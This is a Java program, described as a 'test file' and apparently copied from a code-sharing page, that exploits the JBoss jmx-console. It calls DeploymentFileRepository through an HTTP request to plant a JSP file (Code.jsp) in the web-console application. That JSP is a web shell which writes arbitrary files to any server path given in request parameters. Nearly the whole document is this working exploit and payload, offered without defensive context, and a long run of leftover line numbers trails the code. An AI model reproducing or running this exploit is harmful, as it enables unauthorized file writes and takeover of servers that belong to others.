detail: this file's function is to be used to create a new jsp file with jboss location[JBOSS_HOME\server\default\deploy\management\console-mgr.sar\web-console.war\]
HTTP access address
http://IPaddress:Port/web-console/Code.jsp
test file source
1
package jp.co.nec.nhm.client.multip.mm;
2
3
import java.io.IOException;
4
import java.net.URLEncoder;
5
6
import javax.xml.ws.http.HTTPException;
7
8
import org.apache.commons.httpclient.HttpClient;
9
import org.apache.commons.httpclient.methods.PostMethod;
10
import org.apache.commons.httpclient.methods.StringRequestEntity;
11
import org.apache.commons.httpclient.params.HttpClientParams;
12
13
public class JbossTest {
14
/**
15
* @param args
16
*/
17
public static void main(String[] args) throws Throwable {
18
jbossTest();
19
}
20
21
private static void jbossTest() throws Throwable {
22
// TODO Auto-generated method stub
23
final String port = "9090";
24
final String host = "192.168.1.83";
25
final String jspName = "Code";
26
final String blind = URLEncoder.encode(getInfos(), "utf-8");
27
28
StringBuffer url = new StringBuffer();
29
url.append("http://");
30
url.append(host);
31
url.append(":");
32
url.append(port);
33
url.append("/jmx-console/HtmlAdaptor?" +
34
"action=invokeOp" +
35
"&name=jboss.admin%3Aservice%3DDeploymentFileRepository" +
36
"&methodIndex=5" +
37
"&arg0=console-mgr.sar/web-console.war/");
38
url.append("&arg1=");
39
url.append(jspName);
40
url.append("&arg2=.jsp");
41
url.append("&arg3=");
42
url.append(blind);
43
url.append("&arg4=True");
44
System.out.println(url.toString());
45
System.out.println(post(url.toString(), ""));
46
// if (ret == 200) {
47
// System.out.println(post("http://" + host + ":" + port +
48
// "/web-console/Code.jsp",""));
49
// }
50
}
51
52
public static int post(String url, String body) throws IOException,
53
HTTPException {
54
int retCode = -1;
55
HttpClientParams hcp = new HttpClientParams();
56
hcp.setSoTimeout(5000);
57
HttpClient client = new HttpClient(hcp);
58
PostMethod post = new PostMethod(url);
59
try {
60
if (body != null) {
61
StringRequestEntity e = new StringRequestEntity(body, null,
62
null);
63
post.setRequestHeader("Content-type", "text/xml");
64
post.setRequestEntity(e);
65
retCode = client.executeMethod(post);
66
67
System.out.println(retCode);
68
69
System.out.println(post.getResponseBodyAsString());
70
71
}
72
} finally {
73
if (post != null) {
74
post.releaseConnection();
75
}
76
}
77
return retCode;
78
}
79
80
public static String getInfos() {
81
String aa = "<%@ page language=\"java\" pageEncoding=\"gbk\"%>"
82
+ "<jsp:directive.page import=\"java.io.File\"/>"
83
+ "<jsp:directive.page import=\"java.io.OutputStream\"/>"
84
+ "<jsp:directive.page import=\"java.io.FileOutputStream\"/>"
85
+ "<html>"
86
+ "<head>"
87
+ "<title>code</title>"
88
+ "<meta http-equiv=\"keywords\" content=\"code\">"
89
+ "<meta http-equiv=\"description\" content=\"code\">"
90
+ "</head>"
91
+ "<%"
92
+ "int i=0;"
93
+ "String method=request.getParameter(\"act\");"
94
+ "if(method!=null&&method.equals(\"up\")){"
95
+ "String url=request.getParameter(\"url\");"
96
+ "String text=request.getParameter(\"text\");"
97
+ "File f=new File(url);"
98
+ "if(f.exists()){"
99
+ "f.delete();"
100
+ "}"
101
+ "try{"
102
+ "OutputStream o=new FileOutputStream(f);"
103
+ "o.write(text.getBytes());"
104
+ "o.close();"
105
+ "}catch(Exception e){"
106
+ "i++;"
107
+ "%>"
108
+ "upload unsuccessful"
109
+ "<%"
110
+ "}"
111
+ "}"
112
+ "if(i==0){"
113
+ "%>"
114
+ "upload successful"
115
+ "<%"
116
+ "}"
117
+ "%>"
118
+ "<body>"
119
+ "<form action='?act=up' method='post'>"
120
+ "<input size=\"100\" value=\"<%=application.getRealPath(\"/\") %>\" name=\"url\"><br>"
121
+ "<textarea rows=\"20\" cols=\"80\" name=\"text\">code</textarea><br>"
122
+ "<input type=\"submit\" value=\"up\" name=\"text\"/>"
123
+ "</form>" + "</body>" + "</html>";
124
return aa;
125
}
126
}
127

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127
